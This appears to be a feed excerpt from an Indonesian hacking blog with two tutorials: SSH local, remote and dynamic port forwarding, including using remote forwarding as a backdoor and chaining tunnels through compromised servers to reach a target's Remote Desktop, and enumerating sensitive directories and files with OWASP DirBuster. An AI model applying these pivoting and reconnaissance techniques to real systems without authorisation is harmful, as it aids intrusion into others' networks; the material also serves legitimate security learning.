<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port_forwarding1.png"><img class="aligncenter size-full wp-image-2207" title="port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port_forwarding1.png" alt="" width="398" height="332" /></a>Pada gambar di atas pada bagian atas, koneksi yang masuk di titik masuk, diforward ke tujuan dari titik itu juga. Ini adalah tipikal port forwarding di router/proxy. Sedangkan pada gambar di bawahnya, koneksi yang masuk di titik masuk, diforward ke tujuan dari titik lain di ujung sebelah kanan. Kotak panjang yang menghubungkan dua titik berwarna oranye tersebut menggambarkan koneksi ssh. Koneksi yang masuk akan diforward dari ujung koneksi ssh, bukan dari titik masuknya.</p>
<p style="text-align: justify;"><strong>Konsep SSH Tunneling</strong></p>
<p style="text-align: justify;">SSH adalah protokol yang multiguna, selain untuk menggantikan telnet, SSH juga mendukung fitur tunneling, port forwarding, download/upload file (Secure FTP), SOCKS proxy dsb. Semua fitur tersebut dibungkus dengan enkripsi sehingga data yang lewat melalui protokol ini aman dari jangkauan hacker.</p>
<p style="text-align: justify;">Dalam ssh tunneling, data yang dikirimkan melalui koneksi ssh akan di-enkapsulasi (dibungkus) dalam paket SSH seperti pada gambar di bawah ini.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/matrioska_terbuka.jpg"><img class="aligncenter size-full wp-image-2177" title="matrioska_terbuka" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/matrioska_terbuka.jpg" alt="" width="261" height="228" /></a></p>
<p style="text-align: justify;">Selain enkapsulasi paket, dalam ssh tunnel juga dibutuhkan port forwarding. Port forwarding dalam SSH tunnel ada 3 jenis:</p>
<ul>
<li>Local Port Forwarding</li>
<li>Remote Port Forwarding</li>
<li>Dynamic Port Forwarding</li>
</ul>
<p style="text-align: justify;">Perhatikan gambar di bawah ini untuk memahami perbedaan antara local port forwarding dan remote port forwarding.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/ssh_tunnel.gif"><img class="aligncenter size-full wp-image-2202" title="ssh_tunnel" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/ssh_tunnel.gif" alt="" width="446" height="389" /></a>Dari gambar di atas jelas terlihat bahwa perbedaan antara local dan remote port forwarding.</p>
<ul>
<li style="text-align: justify;">Pada local port forwarding, komputer yang bertindak sebagai ssh client akan menjadi titik masuk koneksi yang akan diforward dan komputer yang bertindak sebagai ssh server menjadi titik keluar. Jadi koneksi yang masuk ke titik masuk di komputer ssh client akan diforward ke tujuan dari komputer ssh server. Gambar di bawah ini ilustrasi lain dari ssh local port forwarding.</li>
</ul>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/local_port_forwarding21.png"><img class="aligncenter size-full wp-image-2222" title="local_port_forwarding2" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/local_port_forwarding21.png" alt="" width="371" height="169" /></a></p>
<ul>
<li style="text-align: justify;">Pada remote port forwarding, komputer yang bertindak sebagai ssh server akan menjadi titik masuk koneksi yang akan diforward dan komputer yang bertindak sebagai ssh client menjadi titik keluar. Jadi koneksi yang masuk ke titik masuk di komputer ssh server akan diforward ke tujuan dari komputer ssh client. Gambar di bawah ini ilustrasi lain dari ssh remote port forwarding.</li>
</ul>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding1.png"><img class="aligncenter size-full wp-image-2221" title="remote_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding1.png" alt="" width="371" height="169" /></a>Jadi yang perlu diingat dalam perbedaan antara local dan remote port forwarding adalah posisi titik masuk koneksi yang akan diforward. Bila titik masuknya ada di komputer yang berperan sebagai ssh client, maka itu adalah local port forwarding, namun bila titik masuknya di komputer ssh server, maka itu adalah remote port forwarding.</p>
<p style="text-align: justify;">Dalam bahasa sederhananya, disebut local karena dari sudut pandang ssh client, titik masuknya ada di localhost, dan disebut remote karena titik masuknya bukan di localhost, tapi di komputer ujung sana.</p>
<p style="text-align: justify;"><strong>Static vs Dynamic Port Forwarding</strong></p>
<p style="text-align: justify;">Sebenarnya dynamic port forwarding  termasuk local port forwarding juga karena pada dynamic port forwarding,  titik masuk koneksi yang akan diforward berada di komputer yang  berperan sebagai ssh client. Namun pada local dan remote port forwarding  biasa (static), IP address dan port asal dan tujuan harus disetting dulu sebelum bisa dipakai, jadi sifatnya statis.</p>
<div id="attachment_2234" class="wp-caption aligncenter" style="width: 385px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/static_port_forwarding.png"><img class="size-full wp-image-2234" title="static_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/static_port_forwarding.png" alt="" width="375" height="184" /></a><p class="wp-caption-text">(static) local port forwarding</p></div>
<p style="text-align: center;">
<p style="text-align: justify;">Gambar di atas adalah (static) local  port forwarding biasa. Pada local port forwarding biasa (static), setiap pemetaan port asal dan IP:port tujuannya harus disetting satu per satu. Jadi terlihat pada gambar di  atas, bila ada 3 tujuan yang ingin dihubungi, maka 3 pemetaan port asal dan IP:port tujuan harus disetting semua sebelum bisa dipakai.</p>
<p style="text-align: justify;">Pada gambar di atas terlihat di ssh client ada 3 port yang LISTEN (3 bulatan merah di sisi ssh client)  untuk 3 tujuan yang berbeda. Perlu dicatat juga bahwa ketiga pemetaan port forwarding tersebut dilakukan di atas satu koneksi ssh yang sama (multiple port forwarding on single ssh conection).</p>
<div id="attachment_2224" class="wp-caption aligncenter" style="width: 382px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/dynamic_port_forwarding.png"><img class="size-full wp-image-2224" title="dynamic_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/dynamic_port_forwarding.png" alt="" width="372" height="181" /></a><p class="wp-caption-text">dynamic (local) port forwarding</p></div>
<p style="text-align: justify;">Sedangkan pada dynamic (local) port  forwarding, kita tidak perlu menentukan pemetaan port asal dan IP:tujuan untuk setiap tujuan. Kita hanya  perlu menentukan port  berapa yang akan LISTEN di localhost  (di komputer ssh  client), dan semua aplikasi bisa memanfaatkan  port tersebut sebagai  proxy ke tujuan manapun dengan protokol SOCKS (SOCKS proxy). Berbeda dengan gambar sebelumnya, pada dynamic port forwarding di sisi ssh client hanya ada satu port yang LISTEN (hanya ada satu bulatan merah).</p>
<p style="text-align: justify;"><strong>Multiple Port Forwarding on Single SSH Connection</strong></p>
<p style="text-align: justify;">Walaupun jarang dipakai, namun sebenarnya ssh mendukung banyak port forwarding dalam satu koneksi ssh. Kalau kita membutuhkan 3 local port forwarding dan 4 remote port forwarding, kita tidak perlu membuat 7 koneksi ssh, cukup satu koneksi ssh saja.<strong> </strong></p>
<div id="attachment_2241" class="wp-caption aligncenter" style="width: 389px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/multiple-port-forwarding.png"><img class="size-full wp-image-2241" title="multiple-port-forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/multiple-port-forwarding.png" alt="" width="379" height="186" /></a><p class="wp-caption-text">multi port forwarding on a single ssh connection</p></div>
<p style="text-align: justify;">Gambar di atas memperlihatkan ilustrasi multi port forwarding pada satu koneksi ssh yang sama. Dalam satu koneksi ssh tersebut port forwarding yang dibuat adalah:</p>
<ul>
<li>Panah berwarna hitam paling atas adalah local port forwarding.</li>
<li>Panah berwarna biru dan biru gelap di tengah adalah dynamic port forwarding.</li>
<li>Panah berwarna hijau paling bawah adalah remote port forwarding.</li>
</ul>
<p style="text-align: justify;">Daripada membuat 3 koneksi ssh untuk masing-masing port forwarding, jauh lebih sederhana dan praktis membuat multi port forwarding pada satu koneksi ssh.</p>
<p style="text-align: justify;"><strong>Membuat Local Port Forwarding</strong></p>
<p style="text-align: justify;">Sekarang setelah memahami konseptualnya, kita langsung praktek bagaimana membuat ssh tunnel dengan putty di Windows dan command line ssh di Linux.Command untuk membuat local port forwarding secara umum adalah:</p>
<pre>ssh -L localport:servertujuan:porttujuan user@ssh_server</pre>
<p style="text-align: justify;">Contohnya adalah:</p>
<pre>ssh -L 8888:www.kompas.com:80 admin@serverku.com</pre>
<p style="text-align: justify;">Perintah di atas akan membuat semua koneksi ke port 8888 di localhost, dialihkan ke www.kompas.com port 80 melalui serverku.com. Titik masuknya adalah localhost:8888 dan titik keluarnya adalah serverku.com. Bila kita membuka browser ke URL http://localhost:8888, request HTTP tersebut akan sampai di www.kompas.com:80 melalui serverku.com, artinya dari sudut pandang www.kompas.com koneksi berasal dari serverku.com, bukan dari komputer yang menjalankan perintah tersebut. Dalam log web server www.kompas.com, IP address visitor adalah ip address serverku.com, bukan ip address komputer yang menjalankan perintah tersebut.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/kompas_8888.png"><img class="aligncenter size-full wp-image-2231" title="kompas_8888" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/kompas_8888.png" alt="" width="571" height="317" /></a></p>
<p style="text-align: justify;">Kalau dalam windows, kita bisa gunakan putty.exe untuk membuat local port forwarding tunnel. Gambar di bawah ini adalah setting untuk forward koneksi localhost:8888 ke www.kompas.com:80. Caranya adalah dengan memasukkan 8888 ke dalam field &#8220;Source port&#8221;, dan memasukkan www.kompas.com:80 ke dalam field &#8220;Destination&#8221;. Setelah itu klik &#8220;Add&#8221;. Anda bisa menambahkan port forwarding yang lain sebanyak yang anda butuhkan dengan mengulang cara yang sama lalu klik &#8220;Add&#8221; lagi.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/putty_tunnel_8888.png"><img class="aligncenter size-full wp-image-2233" title="putty_tunnel_8888" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/putty_tunnel_8888.png" alt="" width="456" height="435" /></a></p>
<p><strong>Membuat Remote Port Forwarding</strong></p>
<p>Command untuk membuat remote port forwarding di Linux secara umum adalah:</p>
<pre>ssh -R remoteport:servertujuan:porttujuan user@ssh_server</pre>
<p style="text-align: justify;">Contohnya  adalah:</p>
<pre>ssh -R 8080:192.168.1.1:80 admin@serverku.com
</pre>
<p style="text-align: justify;">Perintah di atas akan membuat setiap koneksi ke serverku.com:8080 akan dialihkan ke 192.168.1.1 melalui komputer yang menjalankan perintah tersebut. Pada log server tujuan (192.168.1.1:80) yang terlihat dari koneksi yang masuk bukan ip address serverku.com. Server 192.168.1.1:80 akan melihat koneksi berasal dari komputer yang menjalankan perintah di tersebut (komputer ssh client).</p>
<p style="text-align: justify;">Kalau dengan putty caranya masukkan 9999 ke dalam kolom &#8220;Source port&#8221;, kemudian masukkan 192.168.1.1:80 sebagai kolom &#8220;Destination&#8221;, lalu klik Add. Anda bisa menambahkan banyak port forwarding dalam satu koneksi ssh, dengan cara yang sama, lalu klik Add sebanyak yang anda butuhkan.</p>
<p style="text-align: justify;">
<p><strong><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding_putty.png"><img class="aligncenter size-full wp-image-2244" title="remote_port_forwarding_putty" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding_putty.png" alt="" width="449" height="429" /></a></strong></p>
<p style="text-align: justify;">Remote port forwarding ini sangat cocok dipakai sebagai backdoor. Bila seorang hacker telah berhasil menyusup hingga &#8220;behind enemy lines&#8221;, dia bisa membuat remote port forwarding tunnel dari &#8220;behind enemy lines&#8221; ke server di luar milik hacker. Ini artinya hacker telah membuat terowongan, dengan pintu masuk di luar, dan pintu keluar di &#8220;behind enemy lines&#8221;. Ingat pada Remote port forwarding, titik/pintu masuk adalah di sisi ssh server, dan titik/pintu keluar di ssh sisi client. Dengan memakai terowongan ini, hacker bisa masuk melalui pintu di servernya sendiri yang berada di luar, dan secara otomatis hacker tersebut masuk ke &#8220;behind enemy lines&#8221; karena pintu keluar dari terowongan ini ada di &#8220;behind enemy lines&#8221;.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/illustrationofrafahtunnels.jpg"><img class="aligncenter size-full wp-image-2247" title="illustrationofrafahtunnels" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/illustrationofrafahtunnels.jpg" alt="" width="555" height="268" /></a></p>
<p style="text-align: justify;"><strong>Chaining Tunnel<br />
</strong></p>
<p style="text-align: justify;">Terkadang ketika melakukan penetrasi, di dunia nyata keadaan tidaklah semulus dan seindah teori atau dalam lab. Firewall seringkali membuat kita tidak bisa bebas membuat koneksi ke server yang kita inginkan. Dalam situasi seperti ini kita harus berputar-putar melalu beberapa server, sampai kita bisa mencapai server target.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain.png"><img class="aligncenter size-full wp-image-2256" title="tunnelchain" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain.png" alt="" width="503" height="410" /></a></p>
<p style="text-align: justify;">Perhatikan gambar di atas, target yang akan diserang hacker adalah server D.D.D.D port 3389, yaitu Remote Desktop connection, hacker ingin melakukan remote desktop komputer tersebut. Namun server D hanya bisa diakses oleh server C, dan server C hanya bisa diakses dari A. Hacker sudah menguasai penuh server A dan C, bagaimana caranya hacker tersebut bisa remote desktop ke D ?</p>
<p style="text-align: justify;">Tujuan akhirnya adalah hacker ingin koneksi ke localhost:9999 di laptop backtracknya, akan diforward ke D.D.D.D:3389. Jadi nanti dia tinggal menjalankan RDP client dengan memasukkan localhost:9999, dan dia otomatis akan terkoneksi ke RDP di server D. Sebagai info tambahan, komputer A dan C adalah linux dengan ssh service  diaktifkan.</p>
<p style="text-align: justify;">Mari kita coba membuat semua tunnel ini purely hanya dengan ssh.</p>
<p style="text-align: justify;">1. Buat port forwarding localhost:9999 &#8211;&gt; C.C.C.C:8888 via A.A.A.A.</p>
<p style="text-align: justify;">Hacker menjalankan ssh client di backtracknya untuk membuat koneksi ke  ssh server A.A.A.A. Dalam koneksi ssh ini, dia membuat local port  forwarding 9999:C.C.C.C:8888, yang artinya adalah koneksi ke port 9999  di backtrack si hacker akan diforward ke C.C.C.C:8888 via A.A.A.A.</p>
<p style="text-align: justify;">2. Buat port forwarding C.C.C.C:8888 &#8211;&gt; D.D.D.D:3389 via C.C.C.C</p>
<p>Di komputer C, hacker membuat koneksi ssh ke localhost (ke C itu sendiri). Dalam koneksi ssh ke diri sendiri ini dia membuat local port forwarding 8888:D.D.D.D:3389. Artinya adalah koneksi ke C.C.C.C:8888 akan diforward ke D.D.D.D:3389 (via C.C.C.C itu sendiri).</p>
<p>Kita membuat 2 tunnel, yang pertama adalah tunnel dengan pintu masuk di backtrack hacker dan pintu keluar di A.A.A.A. Tunnel kedua adalah denngan pintu masuk dan pintu keluar di C juga.</p>
<p>Pada tunnel pertama, koneksi ke pintu masuk di backtrack hacker (localhost:9999), akan diforward ke C.C.C.C:8888 via A.A.A.A Sedangkan pada server C.C.C.C sudah dibuat port forwarding sehingga semua koneksi yang masuk ke C.C.C.C:8888 akan diforward menuju D.D.D.D:3389.</p>
<p>Jadi akhirnya nanti alurnya adalah:</p>
<p>localhost:9999 &#8211;&gt; C.C.C.C:8888 &#8211;&gt; D.D.D.D:3389</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain2.png"><img class="aligncenter size-full wp-image-2257" title="tunnelchain2" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain2.png" alt="" width="634" height="180" /></a></p>
<p style="text-align: justify;">Gambar di atas menunjukkan chain tunnel yang dibuat. Koneksi ke localhost:9999 akan diteruskan ke C.C.C.C:888 dan koneksi ke C.C.C.C:8888 akan diteruskan ke D.D.D.D:3389. Jadi sama artinya dengan koneksi ke localhost:9999 diteruskan ke D.D.D.D:3389.</p>
<p style="text-align: justify;">
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 4468px; width: 1px; height: 1px; overflow: hidden;">Pada  dynamic port forwarding kita bisa leluasa memforward koneksi ke IP  dan  port apapun tanpa harus membuat  tunnel untuk setiap koneksi. Kita  hanya  perlu mendefinisikan port berapa yang akan LISTEN di komputer  localhost  (dari sudut pandang ssh client), dan semua aplikasi bisa  memanfaatkan  port tersebut sebagai proxy ke tujuan manapun dengan  protokol SOCKS (SOCKS proxy).</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Berburu Direktori dan File Sensitif dengan DirBuster</title>
		<link>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/</link>
		<comments>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/#comments</comments>
		<pubDate>Wed, 05 May 2010 07:16:38 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2123</guid>
		<description><![CDATA[Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan &#8220;konyol&#8221;. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi. Direktori Sensitif Semua direktori atau file [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan &#8220;konyol&#8221;. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.</p>
<p><strong>Direktori Sensitif</strong></p>
<p style="text-align: justify;">Semua direktori atau file yang mengandung informasi berguna buat hacker untuk mendeface website anda, maka direktori itu termasuk sensitif. Beberapa direktori atau file yang tergolong sensitif antara lain:<span id="more-2123"></span></p>
<ul>
<li>Backup</li>
</ul>
<p style="text-align: justify;">Hal yang biasanya dibackup adalah database dan source script webnya. Bayangkan apa yang terjadi bila hacker berhasil mendapatkan seluruh file php dan &#8220;database dump&#8221; dalam satu file zip? Kalau anda berpikir itu tidak mungkin terjadi, anda salah besar, karena saya sering menemukan file backup berekstensi zip, tar.gz, atau sql berserakan di websitenya.</p>
<ul>
<li>Halaman Login</li>
</ul>
<p style="text-align: justify;">Ada banyak macam halaman login, umumnya adalah halaman login untuk mengelola isi website, yaitu CMS Administrator. Selain CMS, halaman login yang lain adalah phpMyAdmin, cpanel, Tomcat Admin Page, AXIS2 Admin Page dll. Tomcat dan AXIS2 adalah Java based webserver dan web service platform.</p>
<p style="text-align: justify;">Kenapa halaman login termasuk sensitif? Karena dengan mengetahui URL untuk menjadi Administrator website, seorang hacker bisa melakukan serangan SQL Injection, password guessing, dictionary attack dan brute force attack untuk membuat dirinya menjadi seorang administrator di website anda. Celakanya banyak website yang halaman login adminnya tidak menggunakan password yang kuat, bahkan menggunakan password default.</p>
<ul>
<li>Log file</li>
</ul>
<p style="text-align: justify;">Log file biasanya dipakai untuk tujuan debugging atau penelusuran kesalahan oleh web developer. Karena itu tidak heran bila dalam log file banyak mengandung informasi sensitif yang bisa dimanfaatkan hacker. File log ini berbeda-beda tergantung dari web aplikasi yang dipakai karena web developer punya kebebasan untuk membuat  atau tidak membuat file log.</p>
<p style="text-align: justify;">Salah satu contoh log file yang biasa ditemukan di web adalah WS_FTP.LOG, file ini dibuat oleh program WS_FTP, yaitu FTP Client. Setiap kali memakai program ini untuk upload ke web anda, WS_FTP akan otomatis memasukkan file WS_FTP.LOG ke dalam folder website anda. Dalam file WS_FTP.LOG ini seorang hacker bisa mendapatkan banyak informasi sensitif: antara lain IP address web server anda (banyak web yang menyembunyikan IP address sebenarnya dibalik NAT), full path lokasi document root web anda, username account hosting anda (bila dalam full path mengandung nama seperti /home/username/&#8230;./).</p>
<p style="text-align: justify;">WS_FTP.LOG juga bisa membocorkan isi sebuah direktori bila anda sudah mematikan fitur &#8220;Directory Indexing&#8221; atau membuat file index.html kosong. Seorang hacker yang tidak bisa melihat isi direktori karena directory index dimatikan atau ada file index.html kosong, bisa mencoba membuka WS_FTP.LOG di direktori itu. Bila ternyata file WS_FTP.LOG ada, maka file log itu akan membocorkan isi file dalam direktori tersebut.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/nodirectoryindex.png"><img class="aligncenter size-full wp-image-2126" title="nodirectoryindex" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/nodirectoryindex.png" alt="" width="455" height="105" /></a>Pesan error di atas umumnya dijumpai pada direktori yang ada, tapi directory indexing tidak diaktifkan, sehingga anda harus menebak nama file yang ada di direktori tersebut. Bila directory indexing diaktifkan, maka anda akan menemukan halaman dengan title &#8220;Index of /&#8221;.</p>
<ul>
<li>Versi Lama</li>
</ul>
<p style="text-align: justify;">Terkadang ketika sebuah website diupdate ke versi baru, file-file script lama disimpan dalam satu direktori bernama oldversion, version1 dan versi barunya dalam direktori /new/ atau /ver2/ atau /beta/. Menemukan beragam versi suatu web adalah kesempatan emas untuk menemukan celah keamanan karena biasanya web versi terbarunya memang tidak mengandung kelemahan, namun bila kita berhasil menemukan versi lamanya, akan ditemukan banyak celah keamanan.</p>
<p style="text-align: justify;">Saya pernah menemukan sebuah website yang securitynya bagus, saya tidak menemukan vulnerability di sana, namun ternyata dia lupa membuang versi lama dari web tersebut. Namun ternyata web versi lama yang mengandung banyak bug dari SQL injection sampai local file injection masih bisa diakses di direktori lain. Walaupun web versi terbaru securitynya bagus, namun jadi tidak berarti apa-apa karena hacker bisa menyerang dari web versi lamanya.</p>
<p style="text-align: justify;"><strong>Berburu Direktori dan File Sensitif<br />
</strong></p>
<p style="text-align: justify;">Nama direktori atau file bisa ditemukan dengan 2 cara:</p>
<ul>
<li>Crawling</li>
</ul>
<p style="text-align: justify;">Crawling ini adalah cara yang dipakai oleh search engine untuk mendapatkan isi website anda.  Ini adalah cara yang &#8220;sopan&#8221;, karena kita hanya mencari apa yang memang disediakan oleh pemilik webnya. Search engine crawling akan mengikuti direktori apa yang boleh dan apa yang tidak boleh diambil dalam file /robots.txt. Jadi bila ada direktori sensitif yang bisa di-search di Google, maka itu terjadi karena di suatu situs ada pointer ke obyek itu berupa link. Bila di seluruh jagat internet ini tidak ada satupun link ke direktori itu, maka tidak mungkin direktori itu muncul di Google.</p>
<p style="text-align: justify;">Kita bisa memanfaatkan Google Hacking untuk mencari direktori sensitif  yang sengaja atau tidak sengaja ter-index oleh Google. Kita juga bisa membuat script atau memakai program semacam wget untuk melakukan crawling website  (tidak memanfaatkan Google index). Menjalankan crawler sendiri terkadang diperlukan bila kita ingin melakukan crawling direktori yang search engine dilarang untuk masuk (diblacklist di /robots.txt).</p>
<ul>
<li>Guessing</li>
</ul>
<p>Bila dengan cara sopan tidak mendapatkan direktori sensitif, maka kita terpaksa pakai cara &#8220;kasar&#8221;. Mendapatkan direktori sensitif dengan cara ini sama dengan menebak password. Ada dua cara yang bisa dipakai:</p>
<ol>
<li>Pure Brute Force Attack</li>
<p style="text-align: justify;">Cara ini adalah cara yang paling kasar. Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan karakter lain sebagai nama direktori atau nama file. Contoh: request /aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori yang lolos, karena semua kemungkinan akan dicoba.</p>
<li>Dictionary Attack</li>
<p style="text-align: justify;">Ini adalah cara yang lebih sopan dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama yang akan kita pakai untuk request ke web server. Efektif tidaknya cara ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan direktori sensitif. Kamus yang baik adalah kamus berisi kata yang memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama fiktif atau karangan.</p>
</ol>
<p><strong>DirBuster dari OWASP</strong></p>
<p style="text-align: justify;">Dalam artikel ini saya akan menggunakan tools gratisan, <a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">DirBuster</a> yang dibuat oleh OWASP (Open Web Application Security Project), sebuah kelompok non-profit yang berfokus pada keamanan web. Seperti yang sudah saya katakan sebelumnya, kekuatan tools semacam ini tergantung pada kualtias kamus yang dimilikinya.</p>
<p style="text-align: justify;">DirBuster memiliki kamus yang sangat lengkap, bukan nama fiktif yang tidak pernah dipakai, tapi memang benar-benar nama yang pernah dipakai sebagai nama direktori. Kumpulan nama ini didapatkan dari internet dengan cara melakukan crawling terhadap situs-situs internet lalu mengelompokkannya. Kumpulan nama yang dipakai minimal 3 situs berbeda ditaruh di file dengan akhiran small.txt, kumpulan nama yang dipakai minimal 2 situs berbeda ditaruh di file dengan akhiran medium.txt, dan semua nama yang ditemukan ditaruh dalam file berakhiran big.txt.</p>
<p style="text-align: justify;">Bila anda membutuhkan daftar nama direktori saja untuk dipakai di program lain, anda juga bisa mendownload kamusnya saja tanpa harus mendownload DirBuster.</p>
<p style="text-align: left;">Tools ini sangat mudah digunakan, jadi silakan saja langsung <a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project#tab=Download">download DirBuster</a>. Sebelumnya pastikan dulu komputer anda sudah terinstall Java, karena tools ini dibuat dengan Java.<a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_main.png"></a></p>
<p style="text-align: left;"><strong>Scanning Type</strong></p>
<p style="text-align: justify;">Ada dua jenis scanning yang bisa dilakukan, pure brute force atau dictionary based attack. Bila anda memilih memakai teknik pure brute force, maka anda harus menentukan character set (kumpulan karakter) yang akan dijadikan nama direktori dan tentukan juga panjang minimal dan maksimalnya. Semakin besar populasi dari character set yang anda pilih dan semakin panjang max length yang anda pilih, semakin besar kumpulan kata yang dihasilkan, itu artinya dibutuhkan waktu yang semakin lama untuk mencoba semuanya. Gambar di bawah ini adalah screenshot ketika memilih pure brute force.</p>
<p style="text-align: left;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_brute.png"><img class="aligncenter size-full wp-image-2134" title="dirbuster_brute" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_brute.png" alt="" width="538" height="175" /></a></p>
<p style="text-align: left;">Bila memilih list based brute force, maka kita harus memilih file berisi daftar nama direktori. DirBuster sudah menyediakan banyak dictionary yang bisa dipilih sesuai kebutuhan:</p>
<ul>
<li>directory-list-2.3-small.txt  (87650 words) : Minimal dipakai di 3 situs berbeda.</li>
<li>directory-list-2.3-medium.txt  (220546 words) : Minimal dipakai di 2 situs berbeda.</li>
<li>directory-list-2.3-big.txt  (1273819 words) : Minimal pernah dipakai.</li>
<li>directory-list-lowercase-2.3-small.txt  (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt</li>
<li>directory-list-lowercase-2.3-medium.txt  (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt</li>
<li>directory-list-lowercase-2.3-big.txt  (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt</li>
<li>directory-list-1.0.txt  (141694 words)  : Daftar awalnya, tidak terurut</li>
<li>apache-user-enum-1.0.txt  (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server</li>
<li>apache-user-enum-2.0.txt  (10341 usernames) : Dipakai untuk user enumeration</li>
</ul>
<p style="text-align: justify;">Dalam list yang disediakan DirBuster juga menyediakan daftar username yang dipakai untuk user enumeration, yaitu mendapatkan nama user yang valid di sebuah server. Dalam web server Apache yang mengaktifkan mod_userdir, bisa dilakukan user enumeration dengan cara menggunakan ~namauser sebagai nama direktori.</p>
<p style="text-align: justify;">Gambar di bawah ini adalah screenshot ketika kita memilih menggunakan dictionary attack.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_dictionary.png"><img class="aligncenter size-full wp-image-2136" title="dirbuster_dictionary" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_dictionary.png" alt="" width="709" height="84" /></a></p>
<p style="text-align: justify;"><strong>Starting Options</strong></p>
